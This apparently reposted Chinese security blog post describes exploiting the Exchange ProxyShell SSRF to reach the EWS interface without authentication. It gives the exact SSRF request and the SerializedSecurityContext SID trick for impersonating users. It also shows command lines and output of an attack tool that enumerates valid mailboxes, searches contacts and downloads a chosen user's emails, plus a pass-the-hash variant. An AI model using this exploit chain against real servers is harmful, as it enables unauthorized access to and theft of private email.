前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Exchange EWS接口的利用

Exchange EWS接口的利用

作者头像
Jumbo
发布2021-09-14 12:17:54
2.6K0
发布2021-09-14 12:17:54
举报
文章被收录于专栏:中国白客联盟中国白客联盟

最近出来了几个Exchange preauth的漏洞,有Proxylogon、Proxyshell。简单看了下,本质都是SSRF,然后通过SSRF调用一些需要授权的接口进行GetShell。如果不进行GetShell,又或者是GetShell失败时,如何利用上面的SSRF去获取邮件内容等操作,又或者只有NTLM HASH时,无法解密出密码时,如何依然去做同样的Exchange的操作。

EWS接口

本文将介绍的是Exchange的EWS接口,URI为exchange.com/ews/exchange.asmx,相关介绍可以参考:https://docs.microsoft.com/en-us/Exchange/client-developer/web-service-reference/ews-reference-for-Exchange

默认该接口需要鉴权:

尝试利用上述SSRF去访问,以Proxyshell触发点为例:

代码语言:javascript
复制
GET /autodiscover/autodiscover.json?a=a@edu.edu/ews/exchange.asmx?X-Rps-CAT=&Email=autodiscover/autodiscover.json?a=a@edu.edu HTTP/2
Host: mail.Exchange.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36.
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 0

发现成功看到了该接口的真实面貌:

既然这里能利用SSRF访问该接口,尝试调用该接口,对该接口发送特定的xml数据包,以搜索联系人为例,发现失败了:

这里一直百思不得骑姐,咨询头像哥,醍醐灌顶:

SSRF之后是system,所以这样不行,解决办法是通过autodiacover+emsmdb取到sid,然后在soap头里面指定serializedsecuritycontext

想想也是,你一个SSRF想要去获取邮件内容,如果你不指定用户,Exchange就不会知道你是谁,也不会返回给你想要的内容。

因此这里通过指定serializedsecuritycontext header头,成功的获取到了我想要的东西:

那这里思路也很明确了,和Proxylogon漏洞一样,先获取LegacyDN,再获取sid,最后加到soap header头即可。

因此自动化的思路也有了,根据微软文档,去发送对应功能的soap数据包,即可获取你想要的数据。这里简单提了几个功能:

•爆破用户,查看有哪些用户存在

需要尝试的邮箱文件:

/tmp/emails.txt:

代码语言:javascript
复制
admin@exchange.com
test@exchange.com
jumbo@exchange.com
ceshi@exchange.com
support@exchange.com

运行程序:

代码语言:javascript
复制
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Brute --file /tmp/emails.txt

程序结果:

代码语言:javascript
复制
admin@exchange.com valid
support@exchange.com valid

•搜索联系人

运行程序:

代码语言:javascript
复制
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Search --email validuser@exchange.com --keyword test

程序结果:

代码语言:javascript
复制
Board.Test@exchange.com
LTSTest@exchange.com

•下载邮件

运行程序:

代码语言:javascript
复制
python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Download --email userwantdown@exchange.com

程序结果:

代码语言:javascript
复制
[+] Item [output/item-0.eml] saved successfully

那只有个NTLM HASH时却解不了密码呢?一样的接口,只是多了个认证,少了个header头:

后续

本文介绍了EWS接口的一些利用,包括不限于利用SSRF漏洞和认证后的调用。本文提到的两个程序将在后续在以下Github仓库公开,大家可以持续关注、Star、Fork

https://github.com/Jumbo-WJB/Exchange_SSRF

https://github.com/Jumbo-WJB/PTH_Exchange

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 中国白客联盟 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • EWS接口
  • 后续
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档